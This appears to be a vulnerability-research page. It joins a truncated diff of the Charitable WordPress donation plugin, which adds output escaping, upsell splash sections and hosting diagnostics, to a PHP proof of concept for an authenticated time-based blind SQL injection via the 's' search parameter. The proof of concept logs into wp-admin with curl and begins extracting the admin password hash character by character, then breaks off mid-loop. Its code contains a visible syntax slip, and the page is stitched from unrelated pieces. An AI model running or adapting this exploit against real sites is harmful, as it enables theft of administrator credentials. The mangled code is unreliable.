+			// OTHER than the welcome destination (`?page=charitable`).
+			// Charitable's sub-pages — `charitable-dashboard`, `charitable-settings-checklist`,
+			// etc. — each have their own menu_slug, so strict equality keeps the
+			// redirect scoped to `?page=charitable` itself (which IS the welcome
+			// screen) rather than yanking the user back from every sub-page.
+			if ( ! empty( $_GET['page'] ) && is_string( $_GET['page'] ) && 'charitable' !== $_GET['page'] ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
 				return;
 			}

-			// Don't redirect from specific WordPress admin pages without page parameter.
-			$current_page = basename( $_SERVER['PHP_SELF'] ?? '' );
-			$wp_admin_pages = array( 'edit.php', 'post-new.php', 'upload.php', 'users.php', 'edit-tags.php', 'edit-comments.php', 'themes.php', 'plugins.php', 'tools.php', 'options-general.php' );
-			if ( in_array( $current_page, $wp_admin_pages ) ) {
+			// Don't redirect from standard WordPress admin scripts that don't
+			// use a `?page=` parameter (e.g. the WP Dashboard, CPT lists, media library).
+			$current_page   = basename( $_SERVER['PHP_SELF'] ?? '' );
+			$wp_admin_pages = array( 'index.php', 'edit.php', 'post-new.php', 'upload.php', 'users.php', 'edit-tags.php', 'edit-comments.php', 'themes.php', 'plugins.php', 'tools.php', 'options-general.php' );
+			if ( in_array( $current_page, $wp_admin_pages, true ) ) {
 				return;
 			}

@@ -236,13 +246,41 @@
 			}

 			// Build the URL for going back to the onboarding process.
-			$onboarding_url = 'https://app.wpcharitable.com/setup-wizard-charitable_lite&resume=' . charitable_get_site_token();
+			$onboarding_url = add_query_arg( array( 'resume' => 'true' ), charitable_get_onboarding_url() );

 			wp_safe_redirect( admin_url( 'admin.php?page=charitable&wpchar_lite=lite&setup=welcome&resume=true' ) );
 			exit;
 		}

 		/**
+		 * Clear the in-progress onboarding flag when the user dismisses the
+		 * dashboard "resume setup wizard" banner.
+		 *
+		 * Triggered by the existing notification rail's dismiss AJAX. The
+		 * action fires for ALL dismissed notifications, so we filter on slug
+		 * here.
+		 *
+		 * Net effect: dismissing the banner ends the resume prompt everywhere.
+		 * The banner is gone (the rail's existing dismissed-key filter handles
+		 * that), and the `?page=charitable` resume redirect also defuses
+		 * because it keys off the same option we delete here.
+		 *
+		 * @since 1.8.10.5
+		 *
+		 * @param string $notification_id Slug of the dismissed notification.
+		 *
+		 * @return void
+		 */
+		public function maybe_clear_onboarding_state_on_dismiss( $notification_id ) {
+
+			if ( 'resume_setup_wizard' !== $notification_id ) {
+				return;
+			}
+
+			delete_option( 'charitable_started_onboarding' );
+		}
+
+		/**
 		 * Onboarding welcome screen redirect.
 		 *
 		 * This function checks if a new install or update has just occurred. If so,
--- a/charitable/includes/admin/reports/class-charitable-reports.php
+++ b/charitable/includes/admin/reports/class-charitable-reports.php
@@ -375,7 +375,7 @@
 								<p class="cr"><?php echo esc_html__( 'Goal', 'charitable' ); ?>: <strong><?php echo charitable_format_money( $donation_goal ); // phpcs:ignore ?></strong></p>
 								<?php endif; ?>
 								<?php if ( $end_date ) : ?>
-								<p class="cr"><?php echo esc_html__( 'End Date', 'charitable' ); ?>: <strong><?php echo $end_date; // phpcs:ignore ?></strong></p>
+								<p class="cr"><?php echo esc_html__( 'End Date', 'charitable' ); ?>: <strong><?php echo esc_html( $end_date ); ?></strong></p>
 								<?php endif; ?>
 							</div>
 						</div>
@@ -761,13 +761,13 @@
 				case 'charitable-failed':
 					$admin_campaign_url = ! empty( $activity->campaign_id ) ? charitable_get_admin_campaign_edit_url( $activity->campaign_id ) : '#';
 					$admin_donation_url = ! empty( $activity->item_id ) ? charitable_get_admin_donation_edit_url( $activity->item_id ) : false;
-					$campaign_title     = ! empty( $activity->campaign_title ) ? ' to <a target="_blank" href="' . $admin_campaign_url . '"><span class="campaign-title">' . $activity->campaign_title . '</span></a> ' : '';
+					$campaign_title     = ! empty( $activity->campaign_title ) ? ' to <a target="_blank" href="' . $admin_campaign_url . '"><span class="campaign-title">' . esc_html( $activity->campaign_title ) . '</span></a> ' : '';
 					$secondary_info     = $admin_donation_url ? '<p class="charitable-reports-activity-secondary-info amount"><a href="' . $admin_donation_url . '" target="_blank">' . charitable_format_money( $activity->amount, 2, true ) . '</a>' . $campaign_title . '</p>' : '<p class="charitable-reports-activity-secondary-info amount">' . charitable_format_money( $activity->amount, 2, true ) . $campaign_title . '</p>';
 					break;
 				default:
 					$admin_campaign_url = ! empty( $activity->campaign_id ) ? charitable_get_admin_campaign_edit_url( $activity->campaign_id ) : '#';
 					$admin_donation_url = ! empty( $activity->item_id ) ? charitable_get_admin_donation_edit_url( $activity->item_id ) : false;
-					$campaign_title     = ! empty( $activity->campaign_title ) ? ' to <a target="_blank" href="' . $admin_campaign_url . '"><span class="campaign-title">' . $activity->campaign_title . '</span></a> ' : '';
+					$campaign_title     = ! empty( $activity->campaign_title ) ? ' to <a target="_blank" href="' . $admin_campaign_url . '"><span class="campaign-title">' . esc_html( $activity->campaign_title ) . '</span></a> ' : '';
 					$secondary_info     = $admin_donation_url ? '<p class="charitable-reports-activity-secondary-info amount"><a href="' . $admin_donation_url . '" target="_blank">' . charitable_format_money( $activity->amount, 2, true ) . '</a>' . $campaign_title . '</p>' : '<p class="charitable-reports-activity-secondary-info amount">' . charitable_format_money( $activity->amount, 2, true ) . $campaign_title . '</p>';
 					break;
 			}
@@ -790,10 +790,10 @@

 			switch ( $activity->primary_action ) {
 				case 'update':
-					$secondary_info = '<p class="campaign-title">' . $activity->campaign_title . '</p>';
+					$secondary_info = '<p class="campaign-title">' . esc_html( $activity->campaign_title ) . '</p>';
 					break;
 				default:
-					$secondary_info = '<p class="campaign-title">' . $activity->campaign_title . '</p>';
+					$secondary_info = '<p class="campaign-title">' . esc_html( $activity->campaign_title ) . '</p>';
 					break;
 			}

--- a/charitable/includes/admin/settings/class-charitable-advanced-settings.php
+++ b/charitable/includes/admin/settings/class-charitable-advanced-settings.php
@@ -238,6 +238,9 @@
 			$empty_transient = new stdClass();
 			set_site_transient( 'update_plugins', $empty_transient ); // Depreciated item.

+			// Clear Stripe webhook failure counter so stale notices don't persist after fixing the root cause.
+			delete_transient( 'charitable_stripe_webhook_verification_failures' );
+
 			// Allow an addon to hook into this.
 			do_action( 'charitable_after_clear_expired_options' );

--- a/charitable/includes/admin/splash/class-charitable-admin-splash.php
+++ b/charitable/includes/admin/splash/class-charitable-admin-splash.php
@@ -234,134 +234,187 @@
 		public function retrieve_sections_for_user( array $sections = array() ): array {

 			$sections = array(
+				// Hero: Mini Donation Widget upsell with Vimeo video.
+				array(
+					'new-for-pro' => true,
+					'layout'      => 'fifty-fifty',
+					'class'       => 'no-order',
+					'title'       => __( 'Mini Donation Widget', 'charitable' ),
+					'content'     => __( 'Embed a compact donation form anywhere on your site, no page redirect required. Add it to sidebars, landing pages, or any widget area using a simple block or shortcode.', 'charitable' ),
+					'video'       => array(
+						'vimeo_id' => '1186687749',
+					),
+					'buttons'     => array(
+						'main'      => array(
+							'text' => __( 'Get Started', 'charitable' ),
+							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/documentation/mini-donation-widget/', 'splash-modal', 'Mini Donation Widget Main' ),
+						),
+						'upgrade'   => array(
+							'text' => __( 'Upgrade to Pro', 'charitable' ),
+							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/lite-upgrade/', 'splash-modal', 'Mini Donation Widget Upgrade' ),
+						),
+					),
+				),
+				// 1.8.10 lite headline feature.
 				array(
 					'new'     => true,
-					'version' => '1.8.9',
-					'layout'  => 'fifty-fifty',
+					'version' => '1.8.10',
+					'layout'  => 'one-third-two-thirds',
 					'class'   => 'no-order',
-					'title'   => __( 'Security Enhancements', 'charitable' ),
-					'content' => __( 'Charitable Lite now supports Google reCAPTCHA, hCaptcha, and Cloudflare Turnstile for improved security.', 'charitable' ),
+					'title'   => __( 'Migration & Import Tools', 'charitable' ),
+					'content' => __( 'Move from GiveWP or GiveButter to Charitable in minutes. Expanded import tools include CSV donations import and a new GiveWP Migration Tool (Beta) under a redesigned, tabbed interface.', 'charitable' ),
 					'img'     => array(
-						'url'    => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-9-security.png',
+						'url'    => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-10-import-tools.svg',
 						'shadow' => 'none',
 					),
 					'buttons' => array(
 						'main'      => array(
 							'text' => __( 'Get Started', 'charitable' ),
-							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/get-started/1-8-9-security/', 'splash-modal', 'Square Widgets Main' ),
-						),
-						'secondary' => array(
-							'text' => __( 'Learn More', 'charitable' ),
-							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/learn-more/1-8-9-security/', 'splash-modal', 'Square Widgets Secondary' ),
+							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/how-to-switch-from-givewp-to-charitable/', 'splash-modal', 'Import Tools Main' ),
 						),
 					),
 				),
+				// 1.8.9 lite security feature (kept).
 				array(
 					'new'     => true,
-					'version' => '1.8.8',
-					'layout'  => 'fifty-fifty',
+					'version' => '1.8.9',
+					'layout'  => 'one-third-two-thirds',
 					'class'   => 'no-order',
-					'title'   => __( 'New Dashboard!', 'charitable' ),
-					'content' => __( 'Charitable now has a new dashboard design with top campaigns, latest donations, top donors, and comments. New "30 Day" period added.', 'charitable' ),
+					'title'   => __( 'Security Enhancements', 'charitable' ),
+					'content' => __( 'Charitable Lite now supports Google reCAPTCHA, hCaptcha, and Cloudflare Turnstile for improved security.', 'charitable' ),
 					'img'     => array(
-						'url'    => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-8-dashboard.png',
+						'url'    => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-9-security.svg',
 						'shadow' => 'none',
 					),
 					'buttons' => array(
 						'main'      => array(
 							'text' => __( 'Get Started', 'charitable' ),
-							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/get-started/square/', 'splash-modal', 'Square Widgets Main' ),
+							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/introducing-improved-security-and-clean-donation-tool/', 'splash-modal', 'Security Main' ),
+						),
+					),
+				),
+				// Pro upsells.
+				array(
+					'new-for-pro' => true,
+					'layout'      => 'one-third-two-thirds',
+					'class'       => 'no-order',
+					'title'       => __( 'Campaign Showcase', 'charitable' ),
+					'content'     => __( 'Display all your campaigns beautifully with full layout control including grid, list, or masonry. No coding required.', 'charitable' ),
+					'img'         => array(
+						'url'    => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-13-campaign-showcase.png',
+						'shadow' => 'none',
+					),
+					'buttons'     => array(
+						'main'      => array(
+							'text' => __( 'Get Started', 'charitable' ),
+							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/campaign-showcase-getting-started/', 'splash-modal', 'Campaign Showcase Main' ),
 						),
-						'secondary' => array(
-							'text' => __( 'Learn More', 'charitable' ),
-							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/learn-more/square/', 'splash-modal', 'Square Widgets Secondary' ),
+						'upgrade'   => array(
+							'text' => __( 'Upgrade to Pro', 'charitable' ),
+							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/lite-upgrade/', 'splash-modal', 'Campaign Showcase Upgrade' ),
 						),
 					),
 				),
 				array(
 					'new-for-pro' => true,
-					'layout'    => 'one-third-two-thirds-flipped',
-					'class'     => 'no-order',
-					'title'     => __( 'Advanced Elementor Widgets', 'charitable' ),
-					'content'   => __( 'When you create pages with the Elementor page builder, you'll now find four ready-made Charitable widgets (campaigns, donation button, donation form, campaigns).', 'charitable' ),
-					'img'       => array(
-						'url'    => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-8-elementor.png',
+					'layout'      => 'one-third-two-thirds',
+					'class'       => 'no-order',
+					'title'       => __( 'Donations Feed', 'charitable' ),
+					'content'     => __( 'Display recent donations in beautiful list or card views with sorting, filtering, pagination, and live polling that automatically refreshes when new donations arrive.', 'charitable' ),
+					'img'         => array(
+						'url'    => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-13-donate-feed.png',
 						'shadow' => 'none',
 					),
-					'buttons'   => array(
+					'buttons'     => array(
 						'main'      => array(
 							'text' => __( 'Get Started', 'charitable' ),
-							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/documentation/how-to-use-charitable-widgets-in-elementor/', 'splash-modal', 'Elementor Widgets Main' ),
+							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/donations-feed-getting-started/', 'splash-modal', 'Donations Feed Main' ),
 						),
-						'secondary' => array(
-							'text' => __( 'Learn More', 'charitable' ),
-							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/introducing-charitable-1-8-6-elementor-widgets-reply-to-and-new-splash-screen/', 'splash-modal', 'Elementor Widgets Secondary' ),
+						'upgrade'   => array(
+							'text' => __( 'Upgrade to Pro', 'charitable' ),
+							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/lite-upgrade/', 'splash-modal', 'Donations Feed Upgrade' ),
 						),
 					),
 				),
 				array(
-					'new-addon' => true,
-					'layout'    => 'one-third-two-thirds',
-					'class'     => 'no-order',
-					'title'     => __( 'DonorTrust', 'charitable' ),
-					'content'   => __( 'Showcase real-time, verified donations to your website visitors and encourage more people to donate to your cause.', 'charitable' ),
-					'img'       => array(
-						'url'    => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-8-donortrust.gif',
+					'new-for-pro' => true,
+					'layout'      => 'one-third-two-thirds',
+					'class'       => 'no-order',
+					'title'       => __( 'Campaign Modal Button', 'charitable' ),
+					'content'     => __( 'Add a donate button anywhere on your site that opens a donation form in a modal popup, no page redirect required. Available as a block or shortcode.', 'charitable' ),
+					'img'         => array(
+						'url'    => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-13-modal-button.png',
 						'shadow' => 'none',
 					),
-					'buttons'   => array(
+					'buttons'     => array(
 						'main'      => array(
 							'text' => __( 'Get Started', 'charitable' ),
-							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/documentation/charitable-donortrust/', 'splash-modal', 'DonorTrust Main' ),
+							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/campaign-modal-button-getting-started/', 'splash-modal', 'Campaign Modal Button Main' ),
 						),
-						'secondary' => array(
-							'text' => __( 'Learn More', 'charitable' ),
-							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/introducing-donortrust/', 'splash-modal', 'DonorTrust Secondary' ),
+						'upgrade'   => array(
+							'text' => __( 'Upgrade to Pro', 'charitable' ),
+							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/lite-upgrade/', 'splash-modal', 'Campaign Modal Button Upgrade' ),
 						),
 					),
 				),
 				array(
-					'new-for-pro'     => true,
-					'layout'  => 'one-third-two-thirds-flipped',
-					'class'   => 'no-order',
-					'title'   => __( 'More Stripe Options!', 'charitable' ),
-					'content' => __( 'Charitable now supports ACH Direct Debit, SEPA Direct Debit, Cash App, and BECS Direct Debit for Stripe users.', 'charitable' ),
-					'img'     => array(
-						'url'    => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-8-stripe.png',
+					'new-for-pro' => true,
+					'layout'      => 'one-third-two-thirds',
+					'class'       => 'no-order',
+					'title'       => __( 'Prefill Donation Forms', 'charitable' ),
+					'content'     => __( 'Pre-populate donation form fields via URL query strings. Perfect for email campaigns, targeted landing pages, and personalized donor outreach.', 'charitable' ),
+					'img'         => array(
+						'url'    => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-13-prefill-forms.png',
 						'shadow' => 'none',
 					),
-					'buttons' => array(
+					'buttons'     => array(
 						'main'      => array(
 							'text' => __( 'Get Started', 'charitable' ),
-							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/introducing-charitable-1-8-8/', 'splash-modal', 'Square Widgets Main' ),
+							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/prefill-donation-forms-getting-started/', 'splash-modal', 'Prefill Donation Forms Main' ),
 						),
-						'secondary' => array(
-							'text' => __( 'Learn More', 'charitable' ),
-							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/introducing-charitable-1-8-8/', 'splash-modal', 'Square Widgets Secondary' ),
+						'upgrade'   => array(
+							'text' => __( 'Upgrade to Pro', 'charitable' ),
+							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/lite-upgrade/', 'splash-modal', 'Prefill Donation Forms Upgrade' ),
 						),
 					),
 				),
 				array(
-					'new-addon' => true,
-					'layout'    => 'one-third-two-thirds',
-					'class'     => 'no-order',
-					'title'     => __( 'Google Analytics', 'charitable' ),
-					'content'   => __( 'The new Google Analytics addon means you can track your campaign performance and see how your donors are engaging with your campaign.', 'charitable' ),
-					'img'       => array(
-						'url'    => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-7-ga.png',
+					'new-for-pro' => true,
+					'layout'      => 'one-third-two-thirds',
+					'class'       => 'no-order',
+					'title'       => __( 'Campaign Featured Image', 'charitable' ),
+					'content'     => __( 'Set your campaign's featured image directly from the Campaign Builder. No need to switch to the post editor. Perfect for giving your campaigns a polished, visual identity.', 'charitable' ),
+					'img'         => array(
+						'url'    => charitable()->get_path( 'assets', false ) . 'images/splash/1-8-13-featured-image.png',
 						'shadow' => 'none',
 					),
-					'buttons'   => array(
+					'buttons'     => array(
 						'main'      => array(
 							'text' => __( 'Get Started', 'charitable' ),
-							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/get-started/google-analytics/', 'splash-modal', 'GA Main' ),
+							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/campaign-featured-image-getting-started/', 'splash-modal', 'Campaign Featured Image Main' ),
 						),
-						'secondary' => array(
-							'text' => __( 'Learn More', 'charitable' ),
-							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/learn-more/google-analytics/', 'splash-modal', 'GA Secondary' ),
+						'upgrade'   => array(
+							'text' => __( 'Upgrade to Pro', 'charitable' ),
+							'url'  => charitable_utm_link( 'https://www.wpcharitable.com/lite-upgrade/', 'splash-modal', 'Campaign Featured Image Upgrade' ),
 						),
 					),
 				),
+				// Two-column "More Recent Features" list.
+				array(
+					'layout' => 'more-features',
+					'class'  => 'no-order',
+					'title'  => __( 'More Recent Features:', 'charitable' ),
+					'items'  => array(
+						__( 'Campaign Selector', 'charitable' ),
+						__( 'Envira Gallery Integration', 'charitable' ),
+						__( 'Visual Form Builder', 'charitable' ),
+						__( 'Donor Leaderboards', 'charitable' ),
+						__( 'Magic Donor Dashboard Link', 'charitable' ),
+						__( 'DIVI Integration', 'charitable' ),
+						__( 'DonorTrust', 'charitable' ),
+						__( 'Google Analytics', 'charitable' ),
+					),
+				),
 			);

 			return $sections;
@@ -525,20 +578,20 @@
 			// If the chartiable_pro is active, that means they are licensed but not using Charitable Pro plugin.
 			if ( ! charitable_is_pro() ) :
 				$default_data['footer'] = array(
-					'title'       => __( 'Add Your License To Activate Charitable Pro Plugin Now!', 'charitable' ),
+					'title'       => __( 'Add Your License To Activate Charitable Pro Plugin Now And Start Getting More Donations!', 'charitable' ),
 					'description' => __( 'Charitable Pro is a powerful upgrade that allows you to manage donors along with built-in features like videos, donor comments, PDF receipts, a dashboard for donors, and more.', 'charitable' ),
 					'upgrade'     => array(
 						'text' => __( 'Learn More', 'charitable' ),
-						'url'  => charitable_utm_link( 'https://www.wpcharitable.com/introducing-charitable-pro/', 'splash-modal', 'learn-more' ),
+						'url'  => charitable_utm_link( 'https://www.wpcharitable.com/lite-upgrade/', 'splash-modal', 'learn-more' ),
 					),
 				);
 			else :
 				$default_data['footer'] = array(
-					'title'       => __( 'Thank you for using Charitable Pro!', 'charitable' ),
-					'description' => __( 'We hope you love the new features and updates we've made to Charitable Pro. Learn more about the latest updates and improvements.', 'charitable' ),
+					'title'       => __( 'Upgrade To The Charitable Pro Plugin At No Cost!', 'charitable' ),
+					'description' => __( 'Registered users with active license can upgrade to Charitable Pro plugin at NO COST. It's included in all plans (basic, plus, pro, elite).', 'charitable' ),
 					'upgrade'     => array(
 						'text' => __( 'Learn More', 'charitable' ),
-						'url'  => charitable_utm_link( 'https://www.wpcharitable.com/blog/', 'splash-modal', 'learn-more' ),
+						'url'  => charitable_utm_link( 'https://www.wpcharitable.com/pricing/upgrade-lite-to-pro/', 'splash-modal', 'learn-more' ),
 					),
 				);
 			endif;
--- a/charitable/includes/admin/templates/splash/splash-section.php
+++ b/charitable/includes/admin/templates/splash/splash-section.php
@@ -3,11 +3,13 @@
  * What's New modal section.
  *
  * @since   1.8.8
- * @version 1.8.9.1
+ * @version 1.8.10.6
  *
  * @var string $title Section title.
  * @var string $content Section content.
  * @var array $img Section image.
+ * @var array $video Section video (Vimeo or mp4).
+ * @var array $items More-features layout items.
  * @var string $new Is new feature.
  * @var array $buttons Section buttons.
  * @var string $layout Section layout.
@@ -29,6 +31,18 @@
 // phpcs:enable WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
 ?>

+<?php if ( 'more-features' === $section['layout'] ) : ?>
+<section class="charitable-splash-section charitable-splash-section-more-features">
+	<h3><?php echo esc_html( $section['title'] ); ?></h3>
+	<?php if ( ! empty( $section['items'] ) ) : ?>
+		<ul class="charitable-splash-more-features-list">
+			<?php foreach ( $section['items'] as $item ) : ?>
+				<li><?php echo esc_html( $item ); ?></li>
+			<?php endforeach; ?>
+		</ul>
+	<?php endif; ?>
+</section>
+<?php else : ?>
 <section class="<?php echo esc_attr( $classes_output ); ?>">
 	<div class="charitable-splash-section-content">
 		<?php
@@ -73,7 +87,13 @@
 				// phpcs:disable WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
 				// Local template variables scoped to this foreach loop.
 				foreach ( $section['buttons'] as $button_type => $button ) {
-					$button_class = $button_type === 'main' ? 'charitable-btn-orange' : 'charitable-btn-bordered';
+					if ( 'main' === $button_type ) {
+						$button_class = 'charitable-btn-orange';
+					} elseif ( 'upgrade' === $button_type ) {
+						$button_class = 'charitable-btn-green';
+					} else {
+						$button_class = 'charitable-btn-bordered';
+					}

 					printf(
 						'<a href="%1$s" class="charitable-btn %3$s" target="_blank" rel="noopener noreferrer">%2$s</a>',
@@ -88,7 +108,23 @@
 		<?php endif; ?>
 	</div>

-	<?php if ( ! empty( $section['img'] ) ) : ?>
+	<?php if ( ! empty( $section['video'] ) ) : ?>
+		<div class="charitable-splash-section-image charitable-splash-video-wrap">
+			<?php if ( ! empty( $section['video']['vimeo_id'] ) ) : ?>
+				<?php
+				// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound -- Local template variable.
+				$vimeo_id = preg_replace( '/[^0-9]/', '', (string) $section['video']['vimeo_id'] );
+				?>
+				<div class="charitable-splash-video-embed"
+					data-vimeo-id="<?php echo esc_attr( $vimeo_id ); ?>"
+					data-video-title="<?php echo esc_attr( $section['title'] ); ?>"></div>
+			<?php elseif ( ! empty( $section['video']['url'] ) ) : ?>
+				<video autoplay muted playsinline controls>
+					<source src="<?php echo esc_url( $section['video']['url'] ); ?>" type="video/mp4">
+				</video>
+			<?php endif; ?>
+		</div>
+	<?php elseif ( ! empty( $section['img'] ) ) : ?>
 		<?php
 		// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound -- Local template variable scoped to this conditional block.
 		$shadow_class = charitable_sanitize_classes( $section['img']['shadow'] ?? 'none' );
@@ -98,3 +134,4 @@
 		</div>
 	<?php endif; ?>
 </section>
+<?php endif; ?>
--- a/charitable/includes/admin/tools/charitable-tools-admin-hooks.php
+++ b/charitable/includes/admin/tools/charitable-tools-admin-hooks.php
@@ -146,6 +146,15 @@
  */
 add_action( 'wp_ajax_charitable_debug_log_scan', array( Charitable_Tools_System_Info::get_instance(), 'ajax_debug_log_scan' ) );

+/**
+ * Capture failed plugin installs/updates into a small ring buffer so the
+ * "Recent Plugin Install/Update Errors" section of System Info has data
+ * to show. Pure pass-through on success.
+ *
+ * @since 1.8.10.5
+ */
+add_filter( 'upgrader_install_package_result', array( 'Charitable_Tools_System_Info', 'log_install_result' ), 10, 2 );
+
 add_action( 'admin_enqueue_scripts', array( Charitable_Tools_Misc::get_instance(), 'enqueue_scripts' ) );

 /**
--- a/charitable/includes/admin/tools/class-charitable-tools-system-info.php
+++ b/charitable/includes/admin/tools/class-charitable-tools-system-info.php
@@ -355,6 +355,7 @@
 			$data .= $this->email_diagnostics();
 			$data .= $this->donation_error_logs();
 			$data .= $this->debug_log_scanner();
+			$data .= $this->hosting_environment_info();

 			$data .= "n" . '### End System Info ###';

@@ -1683,6 +1684,298 @@

 			return self::$instance;
 		}
+
+		/**
+		 * Hosting Environment, Filesystem, and recent Plugin Install error details.
+		 *
+		 * Designed to surface the signals that matter most when troubleshooting
+		 * plugin upload/install failures on managed hosts (WordPress.com, WP
+		 * Engine, Kinsta, etc.) where standard PHP limits are misleading.
+		 *
+		 * @since 1.8.10.5
+		 *
+		 * @return string
+		 */
+		private function hosting_environment_info() {
+
+			$data  = "n" . '-- Hosting Environment' . "nn";
+			$data .= 'Detected Host:            ' . self::detect_host() . "n";
+			$data .= 'Reverse Proxy/CDN:        ' . self::detect_proxy() . "n";
+
+			$data .= "n" . '-- Filesystem & Updates' . "nn";
+			$data .= 'DISALLOW_FILE_EDIT:       ' . self::format_constant_state( 'DISALLOW_FILE_EDIT' ) . "n";
+			$data .= 'DISALLOW_FILE_MODS:       ' . self::format_constant_state( 'DISALLOW_FILE_MODS' ) . "n";
+			$data .= 'AUTOMATIC_UPDATER_DISABLED: ' . self::format_constant_state( 'AUTOMATIC_UPDATER_DISABLED' ) . "n";
+			$data .= 'WP_AUTO_UPDATE_CORE:      ' . self::format_constant_state( 'WP_AUTO_UPDATE_CORE' ) . "n";
+			$data .= 'FS_METHOD:                ' . ( defined( 'FS_METHOD' ) ? esc_html( (string) FS_METHOD ) : '(auto-detect)' ) . "n";
+			$data .= 'Plugin Dir Writable:      ' . ( is_writable( WP_PLUGIN_DIR ) ? 'Yes' : 'No' ) . ' (' . WP_PLUGIN_DIR . ')' . "n";
+			$data .= 'wp-content Writable:      ' . ( is_writable( WP_CON

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7619 - Charitable <= 1.8.10.4 - Authenticated (Custom+) SQL Injection via 's' Search Parameter

/*
 * This PoC demonstrates SQL injection in the Charitable donation plugin.
 * It requires valid admin-level credentials with edit_others_donations capability.
 * The injection occurs through the 's' GET parameter on the donations admin page.
 * This PoC performs a time-based blind SQL injection to extract the admin password hash.
 */

// Configuration - EDIT THESE VALUES
target_url = 'http://example.com'; // Target WordPress installation
$admin_user = 'admin';              // WordPress admin username
$admin_pass = 'password';           // WordPress admin password

// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-login.php';
$login_post = array(
    'log' => $admin_user,
    'pwd' => $admin_pass,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_post));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Check if login succeeded by verifying we can access admin
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'Dashboard') === false) {
    die("[ERROR] Authentication failed. Check credentials or target URL.n");
}
echo "[INFO] Authenticated successfully.n";

// Step 2: Verify Charitable is active by checking the donations page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=charitable-donations');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'Donations') === false) {
    die("[ERROR] Charitable donations page not found. Plugin may not be active.n");
}
echo "[INFO] Charitable donations page accessible.n";

// Step 3: SQL Injection payload - time-based blind extraction of admin hash
// This uses SLEEP() to confirm injection and extract data char by char
$target_hash_length = 32; // WordPress MD5 hash length (old format) or may be bcrypt
$extracted_hash = '';

for ( $position = 1; $position <= $target_hash_length; $position++ ) {
    $found_char = false;
    // Test hex characters: 0-9, a-f
    for ( $ascii = 48; $ascii <= 102; $ascii++ ) {
